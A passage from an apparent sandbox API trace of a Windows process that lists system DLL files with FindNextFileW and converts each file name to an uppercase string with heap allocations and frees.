cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.711] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xa8c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.711] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.711] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.712] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xa8c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.712] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.712] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.712] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.712] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.713] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.713] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.713] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xa8c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0248.713] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.713] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.714] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.714] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.714] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.714] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.714] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.714] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xa8c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.715] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.715] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.715] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.715] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, 